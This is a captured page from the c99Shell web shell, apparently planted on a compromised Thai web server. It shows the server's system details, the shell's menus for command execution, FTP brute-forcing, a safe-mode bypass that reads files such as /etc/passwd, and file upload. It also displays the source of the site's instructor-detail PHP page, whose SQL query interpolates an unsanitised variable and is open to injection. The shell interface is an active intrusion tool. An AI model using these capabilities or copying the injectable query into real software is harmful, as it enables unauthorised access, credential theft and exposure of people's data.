!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 52.98 GB of 127.8 GB (41.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     InstructorDetail.php (7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");

ConnectDB();

$sql " SELECT *  FROM instructor_tb  WHERE code='$code' ";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result);

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Instructor Detail</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="./css/default.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
.style2 {font-size: 12px}
.style1 {    font-size: 14px;
    color: #000000;
}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="650" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="10"></td>
  </tr>
</table>
<table width="650" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th scope="col"><form name="form1" method="post" action="">
      <fieldset>
        <table width="100%" border="0">
          <tr>
            <td><table width="99%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE"  style="border:0px solid gray"size="12">
              <tr bgcolor="#CCCCFF">
                <td height="25" colspan="4" align="center" bgcolor="#F0F0F0" class="style1"><font color="#000000" face="Tahoma" class="PATRON11">แสดงข้อมูลวิทยากร</font></td>
              </tr>
              <tr>
                <td height="10" bordercolor="#D8D2A9" bgcolor="#FFFFFF"></td>
                <td height="10" bordercolor="#DDF8D1" bgcolor="#FFFFFF"></td>
                <td height="10" bordercolor="#DDF8D1" bgcolor="#FFFFFF"></td>
                <td width="141" rowspan="8" align="center" bordercolor="#DDF8D1" bgcolor="#FFFFFF"><?php
                
echo"<center>";
                echo
"<img src=\"$rs[Img1]\" width=\"100\" height=\"115\" >";
                echo
"</center>";
               
?></td>
              </tr>
              <tr>
                <td width="144" height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#003366" face="Tahoma">ชื่อ-นามสกุล</font></span></td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><?php echo $rs['First_name']; ?> <?php echo $rs['Name']; ?> <?php echo $rs['Lastname'];?></font></td>
                </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#003366" face="Tahoma">สถานะ</font></span></td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
                <?php
                     $Status 
$rs['Status'];
                     if(
$Status =="1") {
                        echo
"<font size=\"2\" face=\"Tahoma\" color=\"#000066\">อาจารย์ของวิทยาลัย</font>";
                     }
                    else if (
$Status =="2") {
                       echo
"<font size=\"2\" face=\"Tahoma\" color=\"#000066\">อาจารย์พิเศษ(ภายนอก)</font>";
                    }
                  
?></font></td>
              </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#003366" face="Tahoma">เพศ</font></span></td>
                <td width="13" bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td width="340" bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><?php echo $rs['Sex']; ?></font></td>
              </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#000066" face="Tahoma">คุณวุฒิ</font></span></td>
                <td width="13" bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td width="340" bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><?php echo $rs['Degree']; ?></font></td>
              </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#000066" face="Tahoma">ประสบการณ์การทำงาน</font></span></td>
                <td width="13" bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td width="340" bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"> <?php echo  nl2br($rs['Exper']); ?></font></td>
              </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#000066" face="Tahoma">ความเชี่ยวชาญ</font></span></td>
                <td width="13" bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td width="340" bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"> <?php echo htmlspecialchars_decodenl2br($rs['Skill'] ) ); ?></font></td>
              </tr>
              <tr>
                <td height="20" bgcolor="#FFFFFF"><span class="style2"><font color="#000066" face="Tahoma">สถานที่ปฎิบัติงาน</font></span></td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><?php echo $rs['Addr_home']; ?></font></td>
              </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#003366" face="Tahoma">ที่อยู่</font></span></td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><?php echo $rs['Addr_home']; ?></font></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#000066" face="Tahoma">โทรศัพท์</font></span></td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Tel']; ?></font></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td height="20" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style2"><font color="#003366" face="Tahoma">E-mail</font></span></td>
                <td bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
                <td bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><?php echo $rs['Email']; ?></font></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr bgcolor="#CCCCFF">
                <td height="10" colspan="4" bgcolor="#FFFFFF" ></td>
              </tr>
          </table></tr>
        </table>
      </fieldset>
    </form></th>
  </tr>
  <tr>
    <th align="center" scope="col"><input type="button" name="close" value="ปิดหน้าต่าง" onClick="window.close()" /></th>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--